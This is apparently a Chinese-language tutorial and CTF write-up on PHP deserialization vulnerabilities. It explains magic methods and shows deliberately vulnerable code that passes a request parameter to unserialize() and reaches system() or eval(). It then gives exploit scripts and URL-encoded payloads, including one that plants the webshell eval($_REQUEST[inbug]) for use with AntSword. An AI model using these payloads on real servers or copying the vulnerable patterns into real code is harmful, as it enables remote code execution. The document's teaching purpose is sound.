原文链接:PHP反序列化漏洞浅入浅出
序列化与反序列化
序列化就是将对象的状态信息转换为可存储或传输的形式的过程;反序列化将可存储或传输的形式的过程恢复为对象的过程。面向对象的语言都存在序列化和反序列化操作,如C#、python、java、php、JavaScript等。为什么需要反序列化呢?一是方便传输,服务端把数据序列化,发送到客户端,客户端把接收到的数据反序列化后对数据进行操作,完成后再序列化发送到服务端,服务端再反序列化数据后对数据进行操作;二是方便存储,将内存中的对象状态保存至文件或数据库中,供之后使用。序列化与反序列化机制本身并无问题,但应用程序对于用户输入数据(不可信数据)进行了反序列化处理,使反序列化生成了非预期的对象,在对象的产生过程中可能产生攻击行为。
PHP序列化
PHP序列化后得到的字符串存储的信息仅包含对象的属性,并不包含类中的函数(方法)。
- <?php
- class Student{
- public $name;
- public $stuid;
- public $age;
- }
- $stu1=new Student();
- $stu1->name='Alice';
- $stu1->stuid=1;
- $stu2=new Student();
- $stu2->name='Bob';
- $stu2->stuid=2;
- echo(serialize($stu1));
- echo("\n");
- echo(serialize($stu2));
- echo("\n");
复制代码
- kali@kali:/tmp$ php student_nofunc.php
- O:7:"Student":3:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;}
- O:7:"Student":3:{s:4:"name";s:3:"Bob";s:5:"stuid";i:2;s:3:"age";N;}
复制代码
从执行结果可以看出O:7:"Student"中O代表object,7是对象名称长度,"Student"是O对应的值。php序列化后的格式为”类型:长度:值“,后面再将O:7:"Student"看作一个整体作为Student类的对象类型,后面的3为长度,最后的花括号中存在3对属性。由于PHP序列化后得到的字符串存储的信息仅包含对象的属性,所以可以去除函数进行序列化。特定环境下去除函数后才能得到你想要的。- <?php
- class Student{
- public $name;
- public $stuid;
- public $age;
- function __construct($name,$stuid){
- $this->name=$name;
- $this->stuid=$stuid;
- }
- function hello(){
- echo("Hello,I'm $this->name.\n");
- }
- }
- $stu=unserialize('O:7:"Student":3:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;}');
- $stu->hello();
- echo $stu->name;
- echo "\n";
复制代码
执行结果
- kali@kali:/tmp$ php student_sleep.php
- Hello,I'm Alice.
- Alice
复制代码
可见,只要class名称、属性及属性值相同,序列化结果相同,与成员函数无任何关系。 PHP反序列化
PHP反序列化是序列化的逆过程,将序列化后的字符串还原成PHP对象。
- <?php
- class Student{
- public $name;
- public $stuid;
- public $age;
- function __construct($name,$stuid){
- $this->name=$name;
- $this->stuid=$stuid;
- }
- function hello(){
- echo("Hello,I'm $this->name.\n");
- }
- function __get($value){
- echo "$value get error.\n";
- return("unknow $value.\n");
- }
- }
- $stu=new Student('Alice',1);
- echo $stu->sex;
复制代码- kali@kali:/tmp$ php magic.php
- sex get error.
- unknow sex.
复制代码
可见代码中$stu对象由反序列化得到,反序列化的本质就是为对象属性赋值。
PHP反序列化漏洞
反序列化时,我们只能控制对象的的属性值,不能直接控制其执行某个特定的函数或语句,无法直接造成危害。PHP存在一些魔术函数,特定条件下被动触发执行。我们可以构造属性值为特定对象,创造环境使其触发执行一些包含危险操作的魔术函数执行。魔术函数以双下划线开头。
PHP中常见的魔术函数和触发条件如下:
魔术函数
| 触发条件
| __construct() | 使用new关键字创建对象时
| __destruct() | 对象被销毁时包括但不限于程序正常结束
| __call() | 调用对象的一个不可访问方法时 | __callStatic() | 使用类名调用一个不可访问的静态方法时 | __get() | 读取不可访问属性的值时 | __set() | 给不可访问属性赋值时 | __isset() | 当对不可访问属性调用 isset() 或 empty() 时 | __unset() | 当对不可访问属性调用 unset() 时 | __sleep() | 要序列化还未序列化时
| __wakeup() | 反序列化完成后自动调用 | __serialize() | 要序列化还未序列化时调用,与__sleep()同时存在时__sleep()会被忽略不调用 | __unserialize() | 反序列化完成后自动调用,与__wakeup()同时存在时__wakeup()会被忽略不调用 | __toString() | 对象被当作字符串时,如字符串拼接、被echo等
| __invoke() | 对象被当作函数调用时
|
- kali@kali:/tmp$ php magic.php
- sex get error.
- unknow sex.
复制代码 __get函数在尝试访问$stu->sex触发执行。看如下示例,进行简单的反序列化利用。
- <?php
- class Student{
- public $name;
- public $stuid;
- public $age;
- function __construct($name,$stuid){
- $this->name=$name;
- $this->stuid=$stuid;
- }
- function hello(){
- echo("Hello,I'm $this->name.\n");
- }
- function __get($value){
- echo "$value get error\n";
- return("unknow $value.\n");
- }
- function __toString(){
- system($this->command);
- return("\nok\n");
- }
- }
- $stu=unserialize($_REQUEST('un'));
- $stu->hello();
复制代码 由于unserialize函数从请求中获取un参数,用户可控制用于反序列化的字符串。重心放在寻找可利用的魔术函数上。我们很容易注意到类中的__toString函数执行了危险操作,需要使其触发,就必须要有地方将该对象当作字符串使用。反序列化后只调用了hello(),hello中将自身的name属性进行字符串拼接,如果该name属性的值是Student对象,那将触发该对象的___toString函数执行。所以我们创建一个Student对象$stu1,使其属性$command为我们想执行的命令,$stu1对象被当作字符串使用时将执行$command。然后创建一个Student对象$stu2,使其name属性为$stu1,在执行$stu2的hello函数时就会将$stu1当作字符串进行拼接触发$stu1的__toString函数。exp代码如下:
- <?php
- class Student{
- public $name;
- public $stuid;
- public $age;
- function __construct($name,$stuid){
- $this->name=$name;
- $this->stuid=$stuid;
- }
- function hello(){
- echo("Hello,I'm $this->name.\n");
- }
- function __get($value){
- echo "$value get error\n";
- return("unknow $value.\n");
- }
- function __toString(){
- system($this->command);
- return("\nok\n");
- }
- }
- $stu1=new Student('Alice',1);
- $stu1->command='ifconfig';
- $stu2=new Student($stu1,2);
- echo serialize($stu2);
复制代码- kali@kali:/tmp$ php unser_exp.php
- O:7:"Student":3:{s:4:"name";O:7:"Student":4:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;s:7:"command";s:8:"ifconfig";}s:5:"stuid";i:2;s:3:"age";N;}
复制代码
构造url:http://127.0.0.1/unser_vul.php?un=O:7:"Student":3:{s:4:"name";O:7:"Student":4:{s:4:"name";s:5:"Alice";s:5:"stuid";i:1;s:3:"age";N;s:7:"command";s:8:"ifconfig";}s:5:"stuid";i:2;s:3:"age";N;}- eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
- inet 192.168.138.1 netmask 255.255.255.0 broadcast 192.168.138.255
- inet6 fe80::c49:bff:2a44:7c3 prefixlen 64 scopeid 0xfd<compat,link,site,host>
- ether 00:50:56:c0:00:01 (Ethernet)
- RX packets 0 bytes 0 (0.0 B)
- RX errors 0 dropped 0 overruns 0 frame 0
- TX packets 0 bytes 0 (0.0 B)
- TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
- lo: flags=73<UP,LOOPBACK,RUNNING> mtu 1500
- inet 127.0.0.1 netmask 255.0.0.0
- inet6 ::1 prefixlen 128 scopeid 0xfe<compat,link,site,host>
- loop (Local Loopback)
- RX packets 0 bytes 0 (0.0 B)
- RX errors 0 dropped 0 overruns 0 frame 0
- TX packets 0 bytes 0 (0.0 B)
- TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
- Hello,I'm
- ok
- .
复制代码
实例
该题为2020年云南省网络安全大赛中一个web环境,里面存在多个漏洞。该反序列化后门仅为其中之一。本文仅对该后门进行分析。 后门地址:/content/backup/nbc.php - <?php
- error_reporting(0);
- class Demo1{
- private $a;
- function test(){
- echo $this->a;
- }
- }
- class Demo2{
- private $cmd;
- function a(){
- eval($this->cmd);
- }
- function __toString(){
- $this->a();
- return 'ok';
- }
- }
- $d = unserialize($_GET['s']);
- $d->test();
复制代码 $d->test()说明$d可能是Demo1的实例,执行Demo1中的test()时echo自己的$a的值,若$a不为字符串,将触发调用$a->__toString(),若$a为Demo2的实例,$a->__toString()调用$a->a(),执行eval($a->cmd);。 构造对象使得$s为Demo1的实例,$s的a属性为Demo2的实例 $t,并使$t的属性cmd为自定义的php代码,如一句话木马eval($_REQUEST[inbug]);。 由于Demo1的a属性和Demo2的cmd属性均为私有(private)属性,生成payload时添加函数来给私有属性赋值。此处添加构造函数(__construct),也可定义其他函数或者在class中赋值。注:私有属性序列化后会产生空字节(%00),所以根据需要选择不同编码方式,不编码会导致空字节丢失,进制利用失败。- <?php
- class Demo1{
- private $a;
- function __construct($arg){
- $this->a=$arg;
- }
- function test(){
- echo $this->a;
- }
- }
- class Demo2{
- private $cmd;
- function __construct($arg){
- $this->cmd=$arg;
- }
- function a(){
- eval($this->cmd);
- }
- function __toString(){
- $this->a();
- return 'ok';
- }
- }
- $t=new Demo2('eval($_REQUEST[inbug]);');
- $s=new Demo1($t);
- $d = serialize($s);
- echo(urlencode($d));
复制代码- root@kali# php exp.php
- O%3A5%3A%22Demo1%22%3A1%3A%7Bs%3A8%3A%22%00Demo1%00a%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A10%3A%22%00Demo2%00cmd%22%3Bs%3A23%3A%22eval%28%24_REQUEST%5Binbug%5D%29%3B%22%3B%7D%7D
复制代码 蚁剑连接
- 链接:/content/backup/nbc.php?s=O%3A5%3A%22Demo1%22%3A1%3A%7Bs%3A8%3A%22%00Demo1%00a%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A10%3A%22%00Demo2%00cmd%22%3Bs%3A23%3A%22eval%28%24_REQUEST%5Binbug%5D%29%3B%22%3B%7D%7D
- 连接密码:inbug
复制代码
总结
PHP反序列化利用需要两个条件,一是用于反序列化的字符串用户可控,二是服务端环境中有可利用的class和魔术函数。
|